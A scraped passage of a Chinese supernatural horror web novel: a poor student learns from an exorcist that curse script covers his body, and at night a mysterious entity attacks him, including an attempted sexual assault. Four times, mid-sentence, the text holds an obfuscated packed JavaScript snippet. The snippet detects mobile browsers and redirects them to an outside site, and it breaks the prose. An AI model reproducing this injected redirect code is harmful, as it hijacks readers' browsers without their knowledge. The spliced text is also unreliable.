下午四点过,人流量比较小,店员就轮换着去吃饭。轮到施霜景的时候,他有半小时,他打算去附近买个锅盔随便吃吃。施霜景最近省了好多饭钱,知道家里还有一顿,就能把钱省出来只吃点便宜的东西垫肚子。他正是半大小子吃死老子的年纪,食量很大,有好几次施霜景都想从那三层食盒里留出一层等到第二天吃,可是等他反应过来的时候,已经光盘行动了。 施霜景点了个猪肉锅盔,锅盔店里人不多,施霜景找到座位坐下,闻到肥肠面的味道,心里还是非常打鼓,有点馋,但是十多块都够买一斤肉了,施霜景在心里轻叹一声,作罢。 老板娘送了锅盔来,圆圆的锅盔横竖各切一刀,分成四块。施霜景取筷子,一口咬下松脆的锅盔,好好吃。 一块还没吃完,店里就进了新顾客。施霜景认出了那蓝色,是之前在店里见过的小女孩。 小女孩和她爸爸也点了锅盔,径直走进店里,坐在施霜景对面。施霜景略略抬眼,心中忽然冒出某种说不清道不明的预感。 女孩爸爸让老板娘用两个盘子装锅盔,锅盔上桌,女孩往锅盔上淋醋,爸爸则是什么都不多加。 爸爸沉默寡言,女孩眼睛滴溜溜地转,有点坐不住。她用筷子用得很差,吃着吃着就上手,爸爸不管她,只适时地给她递纸。 施霜景想,如此空旷一家店,怎么偏偏和我坐同一桌。施霜景也坐立难安,加快了吃锅盔的速度。 锅盔到底不算太大,施霜景又是个成年男人,吃完也就三五分钟的事。吃得太快了,施霜景有点噎,正打算去墙边的自助饮水机接杯水,小女孩忽然开口:“哥哥,需要帮忙吗?” “不用,我接杯水。” 小女孩伸出一根手指,煞有介事地左右摇摇,“不是喝水的事哦。哥哥你看得见吗?”她用手指比划了自己的脖颈两侧,还有双手的小臂里侧。 又来了。那种瘆得慌的感觉。施霜景正接着水,感觉浑身鸡皮疙瘩又起了一身。最近邪门的事一件接着一件,施霜景又想起那天去大慈寺却被人连说几十句“佛子请你去”。他……差点忘了,有关佛子的这整件事都很邪门。他还每天不怕死地给人发唱歌小链接。施霜景怔在原地。 “小鼓,不要这么说话。”女孩爸爸开口,下一句是对施霜景说的,“先生,我们没有恶意,她只是忍不住想提醒你。” “……提醒什么?”说话说一半就更恐怖了啊?施霜景脸色更臭。他心里越慌,面色就越冷淡。 结果小女孩又做了一遍那个动作。手指划了划自己的左右颈动脉,又划过两条胳膊的动脉,身上也乱摸了一通,这回她伸长腿,俯身连腿上的动脉都大致地描了一遍,然后说:“看不见吗?你身上有咒文啊!” 老板娘眼神扫过来,不知道这些客人都在聊些什么有的没的,但他们最好不要在她的店里搞封建迷信! 施霜景感觉自己的太阳穴又在突突地跳。 本应就这样一走了之,但施霜景这已经是第二次遇到这对父女,很有可能会遇见第三次。恐怖的精髓就是重复,不是在这里重复就是在别处重复。施霜景喝空水杯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417917|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将薄如纸皮的塑料杯扔进垃圾桶里,然后坐回刚才的座位,继续对话。 女孩爸爸叹息一声,知道自己这女儿太吓人了,他背了个书包,这时他把书包挪到身前,从书包里找出一面翻盖小镜子,直接递给施霜景,“打开来看看。” 施霜景没敢打开镜子,而是问:“你们和佛子是一伙的吗?” “佛子?”女孩爸爸疑惑地重复了这个喊法,似是很快在心里下了判断,施霜景一眨眼,男人换上严肃面容,说,“应该算不上是‘佛’,但我能理解为什么它叫‘佛子’” “我们和那个佛子当然不是一伙的啦。哥哥你打开镜子看一眼就知道了!”女孩轻快地回答了施霜景的问题,大眼睛眨巴眨巴,期待施霜景打开镜子。 银白色无印良品小镜子,能有什么情况呢?施霜景翻开镜盖,定睛一看,差点以为自己身上密密麻麻爬了蚂蚁。施霜景手一抖,险些把镜子摔了。 施霜景没有勇气近看,但刚才那个小女孩描摹的部位特别准确,从镜子里看,就是颈部两侧、手臂内侧……腿上也有吗?难道身上也有吗?仿佛黑色虫迹的纹路攀附在施霜景身上,要多显眼有多显眼。施霜景赶紧打开自己的手机,打开照相机,前置键……前置键在哪里……找到了,打开前置……他身上没有啊?至少手机镜头里的施霜景身上没有这些乱七八糟的东西。 “你们是什么人?……看风水的?还是道士?”施霜景一时间不知道怎么称呼从事这一职业的人,依稀记得自己学过《崂山道士》这篇课文……他们最好是道士。施霜景泰山崩于前而色不变,可实际上他快碎了。吓裂了。说来好笑,施霜景看上去很经吓,越吓越是面不改色,这也算他为数不多的优点之一了。 “你晚上几点下班?”女孩父亲没回答施霜景的问题,反而这样问道。 “十点。” “那十点的时候我们在街口等你。” 晚班怎么上的,施霜景不知道,只知道自己脑海中挥之不去那蜿蜒的丛黑咒文,仿佛真的有虫子在他身上爬。下班的时候施霜景差点忘记找店长结款,还是让店长喊住他,这才把钱结了。 施霜景一路小跑到商业街街口,女孩的克莱因蓝裙摆非常显眼,晚上很冷,她和父亲都穿黑色的长款羽绒服,不过都没拉上拉链。 “抱歉……久等了,道长。” “我不是道士,也不是天师,我的职业很特殊,介绍起来很麻烦,你可以直接喊我的名字,我叫郎放。” 郎放伸出手来,施霜景与郎放握手,不知道为什么,他觉得这个叫郎放的人好像十分可靠,原来缄默这一属性在不同人身上会有不同效果。 “你的父母是不是很早就过世了?和你接触的生命都易病易出事?”郎放坦然问道。 “……” “别紧张,我和你很像。”郎放说,“你住这附近吗?还是要赶车?” “要赶地铁。” “那我们也一起去吧。” 什么意思?施霜景心中疯狂打鼓,这一天天的,不请自来的人和事也太多了吧?他有得选吗?施霜景止住脚步,犯犹豫。 这时小女孩冷不丁开口道:“你知道吗,像你这样的体质,特别适合学这些东西哦?” 施霜景更不敢走了。上周来一个佛子,这周来一个道士。施霜景只是一个普通的高三生,如果可以的话,他也想好好学习,不想东奔西跑的。难道这是他不好好上学的报应?打工打出一身鸡皮疙瘩和一整个清凉的天灵盖。 8. 我真的不卖 名叫郎放的男人外穿一件黑色羽绒服,内里是灰色连帽卫衣,配运动裤和空军一号,头发剪得比较短,露出额头和耳朵,要不是有个六岁女孩喊他爸爸,别人很难觉得他的年龄大于三十岁。 女儿一开口吓死人,爸爸倒是很沉稳。施霜景抑制不住冷汗,他攥紧书包带子,踌躇好一会儿才开口道:“你们到底要干什么?佛子不佛子的都另说……你们今天是朝着我来的么?专门来我打工的店和锅盔店找我?” 郎放看了一眼手表,说:“你不赶地铁?从这里走到地铁站也需要时间。” “先回答我的问题!” 施霜景几乎是吼出来的。这吼声仿佛有气浪,小女孩不自觉后退一步,等施霜景反应过来的时候,她已经登登登地跑到了她爸爸身后。 郎放捉住女儿的手腕,不让她乱跑,嘴巴则是正经地回复着施霜景:“我们只是路过,看见你身上有非同寻常的咒文,显然是沿着你的动脉刻下的。锅盔店的相遇的确是我们故意跟进去,我借此机会看清楚了你身上的这些咒文,你的命格似乎与我也相似,我们没有别的意思,只是对一些偶然太上心。” 施霜景脑海里打雷,轰隆作响,他感觉自己听不懂人话,又不好意思让郎放再重复一遍,只能说:“所以呢?你们想干嘛?” 小女孩又要接话,郎放直接捂住了她的嘴。“你叫什么名字?”郎放问。 “施霜景。” “好的,施霜景。听着,你会觉得紧张,这很正常。你不委托,我不能介入。你就当我们纯属路过,因为能看见一些特殊的东西想给你一些提醒。你身上的咒文已经刻完了,如果真的好奇,你可以午夜时分撑一把伞在镜子下看,应该能看见痕迹。”郎放顿了顿,“但如果你胆子小,当我没说。” 你都已经说完了我要怎么当你没说!!施霜景咬牙道:“我不管你们是来干什么的,什么委托不委托……我没钱,我很穷,你们要骗钱可以换个对象!” 郎放继续捂住女儿的嘴,怕蒋念琅说些不得了的东西,蒋念琅挣扎累了,只能作罢,垂着双手等妈妈把话说完。 “我不缺钱,也不会骗你钱。我是看你和我命运相似,都是父母双亡加上身体有异,这才上来提醒你。刚才小鼓说的没错,你这样的体质容易被盯上。我想你应该已经成年,像你这样的命格能活到这个岁数非常不易,今日我与你相遇也是有缘分,至于这缘分能持续多久,我们都不知道。这是我的名片,我建议你多渠道保存。”郎放好久没有一口气说这么多字了,说完有种长出一口气的感觉。 施霜景接过名片,“什么叫‘多渠道保存’?” “背下来,多抄几份,在家里不同的地方备好。” “……”还是很吓人。 又是一张名片,怎么又是名片,你们这些人竟然还怪有礼貌的。施霜景收过佛子的小纸片,现在又收郎放的名片。好在郎放的名片确实正经,就是白卡黑字,正面是姓名、联络地址和电话号码,背后是主营业务……这业务也太多了! 捉鬼收惊,消灾辟邪,凶宅改造,祖坟选址,代人祭祖,冥婚配对*,妈祖香灯脚代跑*,望乡台插队*,观落阴,请出马*,东郎送灵,陪走南洋*,探祖寻根*,灵物鉴宝与拍卖,民俗科考向导,东亚神佛道巫行业交流大会,以及各类算命业务……郎放补充道:“有些不是我自己做,标星号的是我有门路的业务。” “我背不下来这么多。”施霜景说。 郎放略微无语,说:“背电话号码和联络地址。” “知道了。有事我会联系你们的。”施霜景说完,挥挥手迈大步走了。现在街上人还比较多,他想趁着人多的时候赶紧离开。好阴的一对父女。 施霜景所坐的地铁往郊外驶,人越来越少,今天施霜景打了一天的工,本应该累到打盹,可他今天遭郎放这么一吓,回家路上精神百倍。地铁车厢晃动的喀拉声时不时让他神经绷紧,车顶的灯一排亮过去,可当施霜景凝视对面的地铁车窗、看见自己倒影时,眼睛两边的余光却总像是骤然入夜,黑暗降临,但一转头发现灯还亮得好好的。 从地铁站出来的后半程要骑车,路上就基本没有其他行人了,连行车都少。冷风呼啸如刀,施霜景将羽绒服拉链拉到下巴,骑车时就将下半张脸也埋进衣领。 回到家差不多十二点,施霜景饿得要死,热饭热饭。 将餐盘从微波炉里取出,施霜景拍照,却发现手机里已经收到了微信消息。 [空白]:今天没吃? [空白]:明天还是司机来接你。 施霜景连忙把照片发过去。 一剑霜寒:[图片] 一剑霜寒:我刚到家 [空白]:为什么会比昨天回来得晚? 一剑霜寒:地铁站的共享单车好像被拖走了,我在周围的小区转了好大一圈才找到车 一剑霜寒:我明天不去酒店 终于把这句发过去了。佛子这几天一句都没回过,施霜景就以为他在开玩笑。可今天施霜景从小镜子里见到了异象,加上认识郎放这号人,施霜景心中忽然相当惴惴不安。 他觉得郎放和佛子这两个人里,必有一人在搞邪教。 [空白]:对方正在输入中…… 一剑霜寒:我真的不去,我不知道你要干什么 [空白]:那你在家等我。 施霜景一惊。司机知道他家地址。万一司机真把人送过来怎么办?施霜景不是想跟佛子装纯,但他真的……真的…… 一剑霜寒:佛子,我摊开来讲吧,我不卖身 一剑霜寒:你也是男的吧? 一剑霜寒:我不是同性恋 一剑霜寒:如果你愿意,我们可以当朋友? 一剑霜寒:不知道你缺不缺朋友 发到这句时,施霜景发现消息无法顺利发送出去了。不是被拉黑而显示的红圈,就是单纯没有发送出去的灰色圈圈,一直转一直转。 是信号不好吗?施霜景晃了晃手机,他关闭了无线网络,用流量发,但几分钟过去,也始终没有发出去。最终这几行字旁边留下了红色感叹号,代表没有发送成功。施霜景再次尝试,再次失败。 施霜景纳闷却没多想,太晚了,他明早要六点起床呢,他风卷残云,收拾碗筷之后去洗澡。 洗澡的时候施霜景一直在想郎放说的那句话——“你可以午夜时分撑一把伞在镜子下看,应该能看见痕迹。”可施霜景脱光衣服洗澡仔细打量自己的身体,一点都没看见那黑色小字的咒文。话说回来,这两天他确实有感觉到皮肤有细微的刺痛。是冬天来了皮肤干燥吗?起静电?施霜景胆子不大,可他这么多年在孤儿院也是听着鬼故事长大的,很有自己哄自己的一套。 对了,那张名片。 还是多抄几张吧。不知道,不清楚。施霜景笨笨的,反正带善意的话他都听。佛子也没有不带善意啊,他还送吃的来呢。不然,明天翘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417918|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课?施霜景想见见司机,搞清楚司机到底是每天的什么时候来送餐。 可惜洗完澡之后的施霜景完全忘了名片这回事。吹头,晕倒在床上,秒睡。 第二天施霜景上了半天的课,下午就不去了。下午有班会和物理课,他上个星期被班主任骂了一整个星期,这周班主任依旧没有放过他,施霜景干脆装病,下午请假。他没有回家,先去宠物医院看玉米。 江医生告诉施霜景一个好消息,她说玉米的精神头在周末终于好起来了,除了见到医生和护士还是会警惕之外,打针的时候还是挺有劲的,特别想挣脱,也开始吃干粮了。正好今天施霜景来了,医生干脆教施霜景自己给玉米注射猫传腹药物。护士和医生帮他制住猫咪,施霜景抖着手找位置,一针打了一刻钟才结束,急得施霜景满头汗。 他怀疑自己真的搞不定,玉米不会放过他的。但住院一天五十块,钱包也不会放过他。施霜景在心里叹气叹得好大声,手上则是久违地撸到了玉米,亲亲猫头,这才住了一个星期的院,玉米身上已经满是铁皮笼子的味道,都没有家里的味道了。 施霜景下午买了菜回家,确认过冰箱里没有食盒。他从四点开始等,六点,八点……没有人来过施霜景家。施霜景八点的时候还确认过冰箱,他也不知道他为什么要确认冰箱,难道冰箱会自己长出饭菜来?施霜景一直等到肚皮打鼓,没等来任何拜访者。 八点半,施霜景打开冰箱打算自己做饭时,冰箱第三层——也就是食盒通常放置的那一层,出现了那熟悉的食盒。 施霜景登时就流了冷汗。 要知道他可是一直都坐在客厅玩手机、写作业。客厅和餐厅相连,如果有谁来过,他不可能不知道。 心跳一下子变得好快,施霜景的手无法控制地颤抖起来。他一时间竟然有些不想碰这食盒,又想起昨天佛子回他的消息。 “那你在家等我。” 施霜景麻木地起身,当即决定去烧香。家里有佛龛之后,施霜景抽了一天去买了香。虽然现在敬香的时间不伦不类,但是施霜景还是打开燃气灶点了三根香,燃起火苗之后再摇熄明火,施霜景手握三炷香,向佛龛拜了三拜,心中什么都没想,心中什么都没来得及想。 施霜景将香插进香炉,家中的灯忽然闪了三闪。 施霜景说什么都不会吃这食盒里的餐了。不对劲。唉,都怪自己太笨了!施霜景迟来地懊恼起来,自己怎么能有口吃的就上钩,吃了一个星期才想着验证情况…… 他缓了十分钟,饿得头晕眼花,但他不敢再开冰箱,就从柜子里找了泡面出来,煮了一锅泡面。正当他吃饭的时候,手机又收到微信消息。 [空白]:没吃我送的东西? 施霜景一骨碌站起来,飞速地将食盒拿出来,掀开食盒,其实还是正常食物,但施霜景不敢吃。施霜景照常将这些食物摆盘,他直接拍照,假装自己正要吃的样子。 一剑霜寒:[图片] 一剑霜寒:我正打算吃 [空白]:是吗? 施霜景现在真的很想将这些来路不明的食物倒掉。可他到底是穷人出身,见不得浪费。 他心一横,夹起一块叉烧,吃一口,就吃一口,当做糊弄。 冷掉的叉烧也很好吃,完全就是他这一周吃过的晚餐的正常水准。 一剑霜寒:叉烧很好吃! [空白]:你还是吃了。 [空白]:我很快就到。 9. 蓝月空花(上) 什么意思?什么叫“我很快就到”?可以不来吗?施霜景根本没有同意啊!昨天他没能顺利发送消息,早上他还再次点击发送了……等等,还是没发送出去?施霜景确认着自己的聊天记录,明明刚刚还能顺利发送消息来着。现在拒绝还来得及吗? 心急之下,施霜景直接拨了微信电话。 他和佛子认识有一周了,怎么也算是熟人的关系吧?佛子虽然很奇怪,和那个叫郎放的人一样瘆得慌,可施霜景人生第一次的五星级酒店体验就是佛子送他的,佛子还给他打钱……不行,施霜景真的转不动脑子,一大碗碳水下去就更是大脑塞车,他并非什么逻辑高手,全凭直觉做事。先道歉吧。 微信电话音乐响起,佛子的头像是纯黑色,以头像作为通话背景则亦是一片模糊之黑。如此静谧的夜里,语音通话的乐声明媚得有些反常,音乐仿佛可以化作实体,在房间的墙壁间来回反弹,有着清脆击打的质感,一下下擂着施霜景的神经。 对面没有接。 忽然,施霜景拉远了手机。刚才有那么一瞬,他觉得脸上有静电的触感,脸部微麻,有一股相当轻微的拖拽、惯性的力,只那么摩擦而过……像皮肤。像与皮肤摩擦而过,那么不经意,在干燥冬天起电,一瞬又弹离。 没人接电话。 那么,施霜景记得他存了司机的电话…… “喂?” 电话接通,但对面是女声。 施霜景呆住了,有将近两秒都不知道说什么才好。女声在那头疑惑,正要挂断电话,施霜景忙道:“你好,我找一下司机,这是他的电话吧?” “找老柳啊,早说嘛。听声音你很年轻啊,节哀。我们这里有一条龙的服务……”女声正说着,司机的声音插进来,他拿走了手机,“喂?请问你是?” “我是上周末去酒店的那个……” “我知道了。先生,有什么事吗?” “佛子说他要来,你能不能帮我和佛子说一声,我没有答应……” 司机在电话那头陷入思索,施霜景开了免提,将手机放在桌上,如果司机挂断了,他马上就会知道。司机沉默的时间可比施霜景发愣的时间长多了,足足一分多钟,电话那头只听见司机正在移动,大概是从一个房间去了另一个房间。换地方后,司机才说:“先生,佛子既然要去,他肯定是自己去。我从来都是等佛子联系,没法主动找他,抱歉。” “你不要把我的地址告诉他。” “这恐怕不行。”司机说,“你的地址就是佛子告诉我的。” “柳司机,我问你……”施霜景压低声音,也压住内心恐惧,“这些天是你来给我送的晚餐吗?” “我从未送过。”司机的声音也有些紧张,但司机与施霜景紧张的绝非同一件事,司机说,“既然佛子要找你,那你就只能等佛子来。抱歉,我不能同你说太多,否则我也会……” 话音未落,电话就已挂断,手机屏幕暗下去,施霜景以为是手机自动锁屏,正欲重新解锁,手机却死机。这一幕好熟悉,那天去酒店也发生了一样的事。 人在莫名恐惧的时候,首先注意到自己的呼吸。施霜景胸膛起伏,呼吸声加重,他环视这间房,灯光如常,家里没有开电视,手机不能用,室内阒然,餐厅桌椅正对面是客厅窗户,窗外是幽寂冬夜。 不行,安静原来如此沉重,施霜景果断打开了电视机,调到中央三台,现在正放着历年春晚小品集锦,说话的人声一多,家里重新热闹起来。 这套房子是福利院和市民政局联合帮施霜景找的福利房,励光厂这些年人口流失得厉害,这是十多年前厂区修的员工新房,十多年后依旧租不起价,有人接手就不错了。市民政局租来的时候,房子里已经配了很多家具,就连空调都有,是真实住过人的房子。只不过施霜景担心电费,他搬来这里已经是第三年,但他从不开空调,就连电视都少开。 施霜景一直担心有人敲门,等到十点钟,他整个人窝在沙发上,心想要是玉米在家就好了,至少有只猫陪着他。十点半,施霜景的手机依旧是死砖头一块,施霜景不敢去洗澡,脑海里一直在轮播郎放那句话——“你可以午夜时分撑一把伞在镜子下看”,又想起自己在酒店的大床上做的梦,梦里他淋浴也洗不掉一身血…… 不然,深夜出门?施霜景正琢磨着这一念头,等待两小时的敲门声终于响起。 叩叩,叩叩,叩叩。三响。 施霜景装死,抱膝坐在沙发上,一动不敢动。失策失策,要是把家里的灯关了就好了!至少还能假装人不在家! 等了不知道多久,屋外的人没有继续再敲门。施霜景一直握着手机,不停地按待机键,开机啊,开个机啊! 按了上百下,手机忽然亮起,施霜景喜出望外,名片——对,名片,那个郎放的名片……死马当活马医吧!施霜景没穿拖鞋,轻步走向接近门边的外套挂钩,郎放的名片放在外衣兜里。 正当施霜景的手马上触上外套时,室内灯光骤然消失,跳闸了。 施霜景慌乱中打开手机,原本他还指望着手机光亮能抚慰他的心,然而屏幕一片蓝,是施霜景从未见过的蓝屏。这蓝色很怪,不是天蓝或是海蓝,明度很高,有种尖锐之感。施霜景不管,用蓝屏的光照向外套,手伸进衣兜里,竭力地摸找着名片。 不在这边吗?施霜景正要将手抽出,他的右手忽然在衣兜里被人猛抓住,冰凉的大手攥住施霜景的五指,痛意直钻施霜景的大脑。他吓坏了,试图把手往外抽,却感觉到衣兜里抓住他的那只手力气无限大,甚至施霜景的一截小臂都伸进了衣兜里,是被狠拖进去的。 施霜景稳住重心,忍痛跟那只手拔河——拔河绳就是自己的右手。他左手执着手机,因施霜景正在与某物抗争,手机的光源不稳,四面地照着,施霜景在模糊间没空定睛细看,但他家的天花板已经全部爬满了经络样的墙纹。 经络样,或是藤蔓样,不知道起点在哪里。施霜景离大门很近,现在只有直觉有用,直觉告诉施霜景不要开门,也告诉施霜景要把手挣脱出来。没用。施霜景从没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417919|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想过,自己有一天可能会被衣服的口袋吞掉,但事实就是现在他的手臂已经被拖进去大半截,已经没过肘关节。 施霜景不会大喊大叫,咬着牙抵抗,忽然,右手的力一松。施霜景猛地抽出手臂,正以为逃过一劫,一张蓝绸忽然覆过施霜景的脸,将他兜头一罩,蓝绸旋转、收紧,施霜景不知道发生了什么,只知道这光滑冰冷的绸布几乎让他窒息,施霜景脚下不稳,那蓝绸的力顺势一带,将施霜景拽倒在地。 刚才好不容易松开的右手又被那只冰冷的手捏住,施霜景被人放倒在地,拖拽而走,有两股力,一股是右手,另一股是脑袋。施霜景觉得自己快要头颈分离了,呼吸也不畅,双腿怎么蹬地面也都是虚妄,手机早已从左手滑落出去。施霜景踢到了桌脚和椅子腿,还踢到了墙面,没用。他正被人拖到别的房间。 是佛子吗?施霜景缺氧,发不出声音,左手一直想抓住什么——什么东西都行,只要能让施霜景不再继续被拖着走。他只穿了一件薄毛衣,被人拖着走时,毛衣翻起来,施霜景的后背就这么从冰冷的瓷砖地上磨过去。 不知道自己到底被拖到了哪个房间里,这股力终于停了下来。施霜景感觉裹在自己头面上的绸布稍微松了一点,他剧烈呼吸,那布料就随着他的呼吸而糊住他口鼻,这感觉太恐怖了。更恐怖的是,他想用左手扯开这布,却发现自己的脸上根本没有任何覆盖物,左手能直接触摸到自己的脸,可施霜景既能看见这绸布的颜色,又能感觉到自己正被裹了脑袋。 “佛子——是你吗?” 施霜景的声音闷闷的,都压在布料里。 无人应答。 他躺在地上,瓷砖冷彻骨,后背一片冰凉。 施霜景无法看见,室内原本的白瓷砖已全数染上漆黑,成百上千只五指小手从漆黑地面伸出来,抚摸施霜景。施霜景浑身衣服还穿得好好的,可那些小手摸得万分暧昧。这些小手抚摸过的地方会留下黑色的墨迹,虫豸一样扭曲、细小的咒文。上次他们没能顺利涂上,只在最容易的动脉之处留下标记,这次经过一周的祭品喂养,这具天绝命童子体破了障,所有经络都可以顺利描上诫文。 有东西在摸施霜景。上次睡觉时施霜景没什么感觉,但现在施霜景正处于极度的紧张中,任何细微的感觉都放大到无比鲜明。他的右手依旧被人执着。是人的手,他能感觉到五指。 那些小手……在摸哪里……施霜景猛地一弹,双腿复又往虚空猛踹猛蹬,忽然,施霜景的右肩一错,只听见咔吧一声,不知道是不是他挣扎的动静太大,而制住他的手太冷峻,施霜景的右臂脱臼了。 施霜景不知道那是小手,因为太多、太密,他甚至以为是虫在身上爬。施霜景挣扎但无用,他试图合拢甚至夹紧大腿,好像是有点用了,那些搔痒的触觉有所减缓,然而下一刻,一股力不容分说地从中分开施霜景的大腿,冰凉的东西显然找准了位置。 施霜景的难言之秘密,施霜景的坚强之自尊,就这样被轻易地找到了,进而即将迎来被进犯的危险。 10. 蓝月空花(中) 施霜景明明穿着衣服,可所有的触觉都仿佛表明他现在是任人摸玩。右肩剧痛,施霜景仍然是一副被人拖住的形象,右手凭空吊住。他左手撑地,试图坐起,双腿却被那股大力死死地扣住,让他维持着几乎躺倒在地的姿势。 如果不能坐起身,那他至少要阻抗这些冒犯的冰冷之物……可施霜景的左手什么都没能摸到。双腿因受制而不能蹬地,施霜景的喉间终于挤出一声悲鸣,恐惧使他再度呼吸不畅,那蓝绸要将他捂死了。 当极冷与极热超过人的感知阈值,或是受到情绪影响而无法去准确感知温度时,冷热便会交替。贴住施霜景的东西明显是死物,完全不是人的器官,温度让人万分不适,施霜景一会儿觉得自己要被冻坏了,一会儿又觉得自己正在受烙刑。 “佛子——?你他妈的……把这东西拿开!?你到底是鬼还是人?” 施霜景的骂声被嗡嗡地掩在布料里,他鲜少骂别人带爹妈,可现在他实在忍不住。妈的,躲得好窝囊……这个佛子!枉费他受着这样的称号!为了不让施霜景看到他的形象,还故意用一块布兜住他的头……施霜景的左手四处探找,就算摸到椅子腿也好啊,但凡能有什么东西能抄起来当武器…… 施霜景痛骂,蓝绸进一步收紧,施霜景的脸被憋得通红,真的要无法呼吸了。而且他还能感觉到这蓝绸有往上提的力道,施霜景觉得自己的脑袋正在被往上拔——疯子,不管是谁做出这种事,施霜景都觉得他疯了。 下半的身体有轻微的拉扯感,施霜景很不舒服,但更不舒服的还是施霜景的头面……窒息感逐渐蔓延,施霜景开始脱力,有种死期将至、放弃挣扎的无奈。 无法理解。所有的一切……都无法理解。 不论是睁着眼还是闭着眼,都只能看见黑暗中残留的光斑。施霜景无法想象这个在他身上的东西到底是什么……还是说,不止一个人?有一只手正锁住施霜景的右手,还能感觉到两只手锁住施霜景的下肢……身上那毛茸茸、阴森森的质感……施霜景要吐了。 它贴上来,并试图进犯,施霜景被疼得清醒,忍着右臂的剧痛作最后的挣扎,左手在身体附近虚空地乱抓,不行,根本不知道罪魁祸首在哪里。他的四肢和躯干像是各在各的平行空间,而他没有资格进到自己受难的第一现场。 它要硬挤进去,此处的疼痛非比寻常,夺去放在手臂上的注意力。施霜景呜咽出声,他很怕它强行这么做。施霜景不想去医院看这个器官,也不想死。 忽然,施霜景头面部一松,新鲜空气流动起来,右手也突然坠掉下来,施霜景整个人砸在地上。施霜景什么都没来得及看清,但他强撑起身,双腿用力,双腿上的力突然一卸,施霜景趁机扶着床站起来。原来他刚才一直在床边的地板上。 冰凉不适之物的感觉暂且消失,施霜景的眼睛稍微适应了黑暗,他确信他一个人都没看见。 如果是人的话,他有可能会一瞬间就躲起来吗? 施霜景找到床头灯,按了好几下,无用,看来是整间房都跳闸断了电。 手机不知道掉到哪里去了。如果人要藏起来,要么是躲衣柜,要么是躲床底。施霜景踉跄着去房间一角找到自己的扫帚,他用脚踩着扫帚头,手使劲一拔,将铁杆拔下来。他手里必须拿点什么才能安心。 窗外并非一片死黑,仍然是寻常的小区夜景,施霜景甚至能透过窗看见别家窗户的亮灯。社区的灯光成为室内微弱的光源,从窗户外渗进来。施霜景难受得不行,虚靠着墙壁顺气。 他难道是犯癔症了?但他绝对、绝对不可能撒癔症到觉得有人要进犯自己的地步。 ……不对。 不对,不对。 施霜景借着窗户的社区路灯光亮看见,自己的身上密密麻麻写满了黑色的小字……只消看上一眼,施霜景就要犯密集恐惧症了。施霜景看向自己的双手,手心、手背也都是这些文字。读不懂,不是中文,就算是中文也读不懂,施霜景怀疑自己现在已经吓到没法读任何字。 与此同时,施霜景隐隐觉得那处很不舒服,但他已经没有胆量去摸了。 这一夜注定如同地狱。 施霜景左手握着扫帚的铁棍,起初他只敢贴着靠窗的墙角坐在地上,靠窗能看到光,后背有倚靠,九十度的两侧墙体夹角会让他有被支撑的感觉。他甚至一步都不敢离开自己的房间。客厅比卧室大,窗外的光亮比较难进来,不如卧室通透。 施霜景不知守了多久,人在经历过极度的紧张和恐惧之后,会进一段松懈期。施霜景努力想撑起眼皮,但靠墙的安定感让他又有些犯困。现在是十二点了吗?还是一点?施霜景甚至在想,如果再来一遍刚才的事,他就打破窗户……啊,不行,有铁栅栏!施霜景好不容易提起的气又泄掉。 又等了大约两个小时,施霜景半梦半醒,忽然一阵内急逼醒了他。施霜景在墙角磨蹭了半天,没办法过心里的坎,不能接受自己随地大小便,只能安慰自己……不会那么糟糕的,应该……没事了吧?不行…… 在这般的折磨下,施霜景又磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417920|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹭了小半个钟头,他还是提起了棍子去卫生间。 白天到底什么时候到来? 施霜景摸黑洗手,不敢抬头,怕在镜子里看见脏东西。电影里都是这么演的。他捏紧了手上的铁棍,心里忽起疯狂之意。 施霜景收拾好自己,手提铁棍,不敢再拿刚才的外套。他大步走过客厅和玄关,到达门前,果断拧开门把手,拉开大门。 门打开……是墙。 施霜景傻眼。眼前是平滑的、坚硬的白墙。 